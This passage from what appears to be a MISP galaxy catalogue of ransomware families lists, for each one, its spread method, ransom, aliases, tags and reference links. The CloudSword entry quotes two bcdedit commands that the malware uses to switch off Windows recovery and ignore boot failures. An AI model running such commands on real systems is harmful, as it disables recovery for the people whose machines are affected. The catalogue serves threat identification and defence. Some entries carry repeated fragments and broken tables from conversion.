<td><a href="https://id-ransomware.blogspot.co.il/2017/01/polato-ransomware.html">https://id-ransomware.blogspot.co.il/2017/01/polato-ransomware.html</a></td>
</tr>
</tbody>
</table>

**of Ransomware: OpenToYou (Formerly known as OpenToDecrypt)**

This ransomware is originated in English, therefore could be used worldwide. Ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.

The tag is: `misp-galaxy:ransomware="of Ransomware: OpenToYou (Formerly known as OpenToDecrypt)"

Table 7351. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/opentodecrypt-ransomware.html">https://id-ransomware.blogspot.co.il/2017/01/opentodecrypt-ransomware.html</a></td>
</tr>
</tbody>
</table>

**RansomPlus**

Author of this ransomware is sergej. Ransom is 0.25 bitcoins for the return of files. Originated in English. Used worldwide. This ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.
The tag is: misp-galaxy:ransomware="RansomPlus"

Table 7352. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.2-spyware.com/remove-ransomplus-ransomware-virus.html">http://www.2-spyware.com/remove-ransomplus-ransomware-virus.html</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/ransomplus-ransomware.html">https://id-ransomware.blogspot.co.il/2017/01/ransomplus-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/jiriatvirlab/status/825411602535088129">https://twitter.com/jiriatvirlab/status/825411602535088129</a></td>
</tr>
</tbody>
</table>

**CryptConsole**

This ransomware does not actually encrypt your file, but only changes the names of your files, just like Globe Ransomware. This ransomware is spread with the help of email spam, fake ads, fake updates, infected install files

The tag is: misp-galaxy:ransomware="CryptConsole"

Table 7353. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/cryptconsole-ransomware.html">https://id-ransomware.blogspot.co.il/2017/01/cryptconsole-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://www.bleepingcomputer.com/forums/t/638344/cryptconsole-uncrypteoutlookcom-support-topic-how-decrypt-fileshta/">https://www.bleepingcomputer.com/forums/t/638344/cryptconsole-uncrypteoutlookcom-support-topic-how-decrypt-fileshta/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/PolarToffee/status/824705553201057794">https://twitter.com/PolarToffee/status/824705553201057794</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/demonslay335/status/1004351990493741057">https://twitter.com/demonslay335/status/1004351990493741057</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/demonslay335/status/1004803373747572736">https://twitter.com/demonslay335/status/1004803373747572736</a></td>
</tr>
</tbody>
</table>

**ZXZ Ramsomware**

Originated in English, could affect users worldwide, however so far only reports from Saudi Arabia. The malware name founded by a windows server tools is called win32/wagcrypt.A

The tag is: misp-galaxy:ransomware="ZXZ Ramsomware"

Table 7354. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/zxz-ransomware.html">https://id-ransomware.blogspot.co.il/2017/01/zxz-ransomware.html</a></td>
</tr>
</tbody>
</table>

**VxLock Ransomware**

Developed in Visual Studios in 2010. Original name is VxCrypt. This ransomware encrypts your files, including photos, music, MS office, Open Office, PDF... etc
FunFact Ransomware

Funfact uses an open code for GNU Privacy Guard (GnuPG), then asks to email them to find out the amount of bitcoin to send (to receive a decrypt code). Written in English, can attach all over the world. The ransom is 1.22038 BTC, which is 1100USD.

ZekwaCrypt Ransomware

First spotted in May 2016, however made a big comeback in January 2017. It’s directed to English speaking users, therefore is able to infect worldwide. Ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.

Sage 2.0 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. This ransomware attacks your MS Office by offering a Micro to help with your program, but instead incrypts all your files if the used id not protected. Predecessor CryLocker
CloudSword Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. Uses the name “Window Update” to confuse its victims. Then imitates the window update process, while turning off the Window Startup Repair and changes the BootStatusPolicy using these commands:

```
bcdedit.exe /set {default} recoveryenabled No
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
```

The tag is: `misp-galaxy:ransomware="CloudSword Ransomware"`

Table 7359. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/cloudsword.html">https://id-ransomware.blogspot.co.il/2017/01/cloudsword.html</a></td>
</tr>
<tr>
<td><a href="http://bestsecuritysearch.com/cloudsword-ransomware-virus-removal-steps-protection-updates/">http://bestsecuritysearch.com/cloudsword-ransomware-virus-removal-steps-protection-updates/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/BleepinComputer/status/82265335681593345">https://twitter.com/BleepinComputer/status/82265335681593345</a></td>
</tr>
</tbody>
</table>

DN

It's directed to English speaking users, therefore is able to infect worldwide. Uses the name “Chrome Update” to confuse its victims. Then imitates the chrome update process, while encrypting the files. DO NOT pay the ransom, since YOUR COMPUTER WILL NOT BE RESTORED FROM THIS MALWARE!!!!

The tag is: `misp-galaxy:ransomware="DN"`

DN is also known as:

- Fake

Table 7360. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/dn-donotopen.html">https://id-ransomware.blogspot.co.il/2017/01/dn-donotopen.html</a></td>
</tr>
</tbody>
</table>

GarryWeber Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. Its original name is FileSpy and FileSpy Application. It is spread using email spam, fake updates, infected attachments and so on. It encrypts all your files, including: music, MS Office, etc..
The tag is: misp-galaxy:ransomware="GarryWeber Ransomware"

Table 7361. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/garryweber.html">https://id-ransomware.blogspot.co.il/2017/01/garryweber.html</a></td>
</tr>
</tbody>
</table>

Satan Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. Its original name is RAAS RANSOMWARE. It is spread using email spam, fake updates, infected attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures etc.. This ransomware promotes other to download viruses and spread them as ransomware to infect other users and keep 70% of the ransom. (leaving the other 30% to Satan) https://3.bp.blogspot.com/-7fwX40eYL18/WH-tfpNjDgI/AAAAAAAADPk/KVP_ji8lR0gENCMYhb324mfzIFFpiaOwACLcB/s1600/site-raas.gif RaaS

The tag is: misp-galaxy:ransomware="Satan Ransomware"

View relationships graph

Satan Ransomware has relationships with:

• similar: misp-galaxy:malpedia="Satan" with estimative-language:likelihood-probability="likely"

Table 7362. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/satan-raas.html">https://id-ransomware.blogspot.co.il/2017/01/satan-raas.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Xylit0l/status/821757718885236740">https://twitter.com/Xylit0l/status/821757718885236740</a></td>
</tr>
</tbody>
</table>

Havoc

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, infected attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Havoc"

Havoc is also known as:

• HavocCrypt Ransomware
CryptoSweetTooth Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Its fake name is Bitcoin and maker’s name is Santiago. Work of the encrypted requires the user to have .NET Framework 4.5.2. on his computer.

The tag is: misp-galaxy:ransomware="CryptoSweetTooth Ransomware"

Kaandsona Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The word Kaandsona is Estonian, therefore the creator is probably from Estonia. Crashes before it encrypts

The tag is: misp-galaxy:ransomware="Kaandsona Ransomware"

Kaandsona Ransomware is also known as:

- RansomTroll Ransomware
- Käändsõna Ransomware

LambdaLocker Ransomware

It’s directed to English and Chinese speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Python Ransomware

The tag is: misp-galaxy:ransomware="LambdaLocker Ransomware"
NMoreia 2.0 Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="NMoreia 2.0 Ransomware"

NMoreia 2.0 Ransomware is also known as:

- HakunaMatataRansomware

Marlboro Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is .2 bitcoin, however there is no point of even trying to pay, since this damage is irreversible. Once the ransom is paid the hacker does not return decrypt the files. Another name is DeMarlboro and it is written in language C++. Pretend to encrypt using RSA-2048 and AES-128 (really it's just XOR)

The tag is: *misp-galaxy:ransomware="Marlboro Ransomware"

Spora Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Sample of a spam email with a viral
The tag is: *misp-galaxy:ransomware*="Spora Ransomware"

**CryptoKill Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The files get encrypted, but the decrypt key is not available. NO POINT OF PAYING THE RANSOM, THE FILES WILL NOT BE RETURNED.

The tag is: *misp-galaxy:ransomware*="CryptoKill Ransomware"

**All_Your_Documents Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware*="All_Your_Documents Ransomware"

**SerbRansom 2017 Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 500$ in bitcoins. The name of the hacker is R4z0rx0r Serbian Hacker.

The tag is: *misp-galaxy:ransomware*="SerbRansom 2017 Ransomware"
**Fadesoft Ransomware**

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 0.33 bitcoins.

The tag is: *misp-galaxy:ransomware*="Fadesoft Ransomware"

**HugeMe Ransomware**

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware*="HugeMe Ransomware"

**DynA-Crypt Ransomware**

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="DynA-Crypt Ransomware"

DynA-Crypt Ransomware is also known as:

- DynA CryptoLocker Ransomware

Table 7375. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/dyna-crypt-ransomware.html">https://id-ransomware.blogspot.co.il/2017/02/dyna-crypt-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://www.bleepingcomputer.com/news/security/dyna-crypt-not-only-encrypts-your-files-but-also-steals-your-info/">https://www.bleepingcomputer.com/news/security/dyna-crypt-not-only-encrypts-your-files-but-also-steals-your-info/</a></td>
</tr>
</tbody>
</table>

**Serpent 2017 Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Serpent 2017 Ransomware"

Serpent 2017 Ransomware is also known as:

- Serpent Danish Ransomware

Table 7376. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/serpent-danish-ransomware.html">https://id-ransomware.blogspot.co.il/2017/02/serpent-danish-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Erebus 2017 Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Erebus 2017 Ransomware"

Table 7377. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/erebus-2017-ransomware.html">https://id-ransomware.blogspot.co.il/2017/02/erebus-2017-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Cyber Drill Exercise**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.
spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="Cyber Drill Exercise "`

Cyber Drill Exercise is also known as:

- Ransomuhahawhere

**Table 7378. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/ransomuhahawhere.html">https://id-ransomware.blogspot.co.il/2017/02/ransomuhahawhere.html</a></td>
</tr>
</tbody>
</table>

**Cancer Ransomware FAKE**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. This is a trollware that does not encrypt your files but makes your computer act crazy (like in the video in the link below). It is meant to be annoying and it is hard to erase from your PC, but possible.

The tag is: `misp-galaxy:ransomware="Cancer Ransomware FAKE"`

**Table 7379. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/cancer-ransomware.html">https://id-ransomware.blogspot.co.il/2017/02/cancer-ransomware.html</a></td>
</tr>
</tbody>
</table>

**UpdateHost Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Poses as Microsoft Copyright 2017 and requests ransom in bitcoins.

The tag is: `misp-galaxy:ransomware="UpdateHost Ransomware"`

**Table 7380. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/updatehost-ransomware.html">https://id-ransomware.blogspot.co.il/2017/02/updatehost-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://www.bleepingcomputer.com/startups/Windows_Update_Host-16362.html">https://www.bleepingcomputer.com/startups/Windows_Update_Host-16362.html</a></td>
</tr>
</tbody>
</table>

**Nemesis Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Poses as Microsoft Copyright 2017 and requests ransom in bitcoins.
spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc. Ransom is 10 bitcoins.

The tag is: **misp-galaxy:ransomware="Nemesis Ransomware"**

<table>
<thead>
<tr>
<th>Table 7381. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/nemesis-ransomware.html">https://id-ransomware.blogspot.co.il/2017/01/nemesis-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Evil Ransomware**

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc. Domain KZ is used, therefore it is assumed that the decrypter is from Kazakhstan. Coded in Javascript

The tag is: **misp-galaxy:ransomware="Evil Ransomware"**

Evil Ransomware is also known as:

- File0Locked KZ Ransomware

<table>
<thead>
<tr>
<th>Table 7382. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/evil-ransomware.html">https://id-ransomware.blogspot.co.il/2017/01/evil-ransomware.html</a></td>
</tr>
<tr>
<td><a href="http://www.enigmasoftware.com/evilransomware-removal/">http://www.enigmasoftware.com/evilransomware-removal/</a></td>
</tr>
<tr>
<td><a href="http://usproins.com/evil-ransomware-is-lurking/">http://usproins.com/evil-ransomware-is-lurking/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/jiriatvirlab/status/818443491713884161">https://twitter.com/jiriatvirlab/status/818443491713884161</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/PolarToffee/status/826508611878793219">https://twitter.com/PolarToffee/status/826508611878793219</a></td>
</tr>
</tbody>
</table>

**Ocelot Ransomware (FAKE RANSOMWARE)**

It’s directed to English speaking users, therefore is able to infect worldwide. This is a fake ransomware. Your files are not really encrypted, however the attacker does ask for a ransom of .03 bitcoins. It is still dangerous even though it is fake, he still go through to your computer.

The tag is: **misp-galaxy:ransomware="Ocelot Ransomware (FAKE RANSOMWARE)"**

Ocelot Ransomware (FAKE RANSOMWARE) is also known as:

- Ocelot Locker Ransomware

<table>
<thead>
<tr>
<th>Table 7383. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/ocelot-ransomware.html">https://id-ransomware.blogspot.co.il/2017/01/ocelot-ransomware.html</a></td>
</tr>
</tbody>
</table>
SkyName Ransomware

It's directed to Czechoslovakianspeaking users. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear

The tag is: `misp-galaxy:ransomware="SkyName Ransomware"`

SkyName Ransomware is also known as:

- Blablabla Ransomware

Table 7384. Table References

Links

- [https://id-ransomware.blogspot.co.il/2017/01/skynameransomware.html](https://id-ransomware.blogspot.co.il/2017/01/skynameransomware.html)
- [https://twitter.com/malwrhunterteam/status/817079028725190656](https://twitter.com/malwrhunterteam/status/817079028725190656)

MafiaWare Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 155$ inbitcoins. Creator of ransomware is called Mafia. Based on HiddenTear

The tag is: `misp-galaxy:ransomware="MafiaWare Ransomware"`

MafiaWare Ransomware is also known as:

- Depsex Ransomware

Table 7385. Table References

Links

- [https://id-ransomware.blogspot.co.il/2017/01/mafiawareransomware.html](https://id-ransomware.blogspot.co.il/2017/01/mafiawareransomware.html)
- [https://twitter.com/BleepinComputer/status/817069320937345024](https://twitter.com/BleepinComputer/status/817069320937345024)

Globe3 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 3 bitcoins. Extesion depends on the config file. It seems Globe is a ransomware kit.
Globe3 Ransomware is also known as:

- Purge Ransomware

**View relationships graph**

Globe3 Ransomware has relationships with:

- similar: misp-galaxy:ransomware="Globe2 Ransomware" with estimative-language:likelihood-probability="likely"

**Table 7386. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/globe3-ransomware.html">https://id-ransomware.blogspot.co.il/2017/01/globe3-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://decryptors.blogspot.co.il/2017/01/globe3-decrypter.html">https://decryptors.blogspot.co.il/2017/01/globe3-decrypter.html</a></td>
</tr>
<tr>
<td><a href="https://decrypter.emsisoft.com/globe3">https://decrypter.emsisoft.com/globe3</a></td>
</tr>
</tbody>
</table>

**BleedGreen Ransomware**

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 500$ in bitcoins. Requires .NET Framework 4.0. Gets into your startup system and sends you notes like the one below: https://4.bp.blogspot.com/-xrr6aoB_giw/WG1UrGpmZJI/AAAAAAAAC-Q/KtKdQP6iLY4LHaHgudF5dKs6i1JHQ0bmgCLcB/s1600/green1.jpg

The tag is: misp-galaxy:ransomware="BleedGreen Ransomware"

BleedGreen Ransomware is also known as:

- FireCrypt Ransomware

**Table 7387. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/bleedgreen-ransomware.html">https://id-ransomware.blogspot.co.il/2017/01/bleedgreen-ransomware.html</a></td>
</tr>
</tbody>
</table>
**BTCamant Ransomware**

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Original name is Mission 1996 or Mission: “Impossible” (1996) (like the movie)

The tag is: `misp-galaxy:ransomware="BTCamant Ransomware"`

**Table 7388. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/btcamant.html">https://id-ransomware.blogspot.co.il/2017/01/btcamant.html</a></td>
</tr>
</tbody>
</table>

**X3M Ransomware**

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. It is also possible to break in using RDP Windows with the help of Pass-the-Hash system, PuTTY, mRemoteNG, TightVNC, Chrome Remote Desktop, modified version of TeamViewer, AnyDesk, AmmyyAdmin, LiteManager, Radmin and others. Ransom is 700$ in Bitcoins.

The tag is: `misp-galaxy:ransomware="X3M Ransomware"`

**Table 7389. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/x3m-ransomware.html">https://id-ransomware.blogspot.co.il/2017/01/x3m-ransomware.html</a></td>
</tr>
</tbody>
</table>

**GOG Ransomware**

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="GOG Ransomware"`

**Table 7390. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/gog-ransomware.html">https://id-ransomware.blogspot.co.il/2017/01/gog-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/BleepinComputer/status/816112218815266816">https://twitter.com/BleepinComputer/status/816112218815266816</a></td>
</tr>
</tbody>
</table>

**RegretLocker**

RegretLocker is a new ransomware that has been found in the wild in the last month that does not only encrypt normal files on disk like other ransomwares. When running, it will particularly search
for VHD files, mount them using Windows Virtual Storage API, and then encrypt all the files it finds inside of those VHD files.

The tag is: *misp-galaxy:ransomware=*"RegretLocker"

Table 7391. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**EdgeLocker**

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.1 Bitcoins. Original name is TrojanRansom.

The tag is: *misp-galaxy:ransomware=*"EdgeLocker"

Table 7392. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/edgelocker-ransomware.html">https://id-ransomware.blogspot.co.il/2017/01/edgelocker-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/BleepinComputer/status/815392891338194945">https://twitter.com/BleepinComputer/status/815392891338194945</a></td>
</tr>
</tbody>
</table>

**Red Alert**

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Fake name: Microsoft Corporation. Based on HiddenTear

The tag is: *misp-galaxy:ransomware=*"Red Alert"

View relationships graph

Red Alert has relationships with:

- similar: misp-galaxy:malpedia="Red Alert" with estimative-language:likelihood-probability="likely"

Table 7393. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/red-alert-ransomware.html">https://id-ransomware.blogspot.co.il/2017/01/red-alert-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/JaromirHorejsi/status/815557601312329728">https://twitter.com/JaromirHorejsi/status/815557601312329728</a></td>
</tr>
</tbody>
</table>
First

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="First"

<table>
<thead>
<tr>
<th>Table 7394. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/first-ransomware.html">https://id-ransomware.blogspot.co.il/2017/01/first-ransomware.html</a></td>
</tr>
</tbody>
</table>

XCrypt Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Written on Delphi. The user requests the victim to get in touch with him through ICQ to get the ransom and return the files.

The tag is: misp-galaxy:ransomware="XCrypt Ransomware"

XCrypt Ransomware is also known as:

- XCrypt

<table>
<thead>
<tr>
<th>Table 7395. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/xcrypt-ransomware.html">https://id-ransomware.blogspot.co.il/2017/01/xcrypt-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/JakubKroustek/status/825790584971472902">https://twitter.com/JakubKroustek/status/825790584971472902</a></td>
</tr>
</tbody>
</table>

7Zipper Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="7Zipper Ransomware"

<table>
<thead>
<tr>
<th>Table 7396. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/7zipper-ransomware.html">https://id-ransomware.blogspot.co.il/2017/01/7zipper-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://1.bp.blogspot.com/-ClM0LCPjQuk/WI-BgHTpdNI/AAAAAAAADc8/JyEIQ-5QcJmsXlntuP-MMdE-pohVncxTXQCLcB/s1600/7-zip-logo.png">https://1.bp.blogspot.com/-ClM0LCPjQuk/WI-BgHTpdNI/AAAAAAAADc8/JyEIQ-5QcJmsXlntuP-MMdE-pohVncxTXQCLcB/s1600/7-zip-logo.png</a></td>
</tr>
</tbody>
</table>
Zyka Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 170$ or EUR in Bitcoins.

The tag is: misp-galaxy:ransomware="Zyka Ransomware"

Table 7397. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/zyka-ransomware.html">https://id-ransomware.blogspot.co.il/2017/01/zyka-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://download.bleepingcomputer.com/demonslay335/StupidDecrypter.zip">https://download.bleepingcomputer.com/demonslay335/StupidDecrypter.zip</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/GrujaRS/status/826153382557712385">https://twitter.com/GrujaRS/status/826153382557712385</a></td>
</tr>
</tbody>
</table>

SureRansom Ransomeware (Fake)

It's directed to English speaking users, therefore is able to strike worldwide. This ransomware does not really encrypt your files. Ransom requested is £50 using credit card.

The tag is: misp-galaxy:ransomware="SureRansom Ransomeware (Fake)"

Table 7398. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/01/sureransom-ransomware.html">https://id-ransomware.blogspot.co.il/2017/01/sureransom-ransomware.html</a></td>
</tr>
</tbody>
</table>

Netflix Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware uses the known online library as a decoy. It poses as Netflix Code generator for Netflix login, but instead encrypts your files. The ransom is 100$ in Bitcoins.

The tag is: misp-galaxy:ransomware="Netflix Ransomware"

Table 7399. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
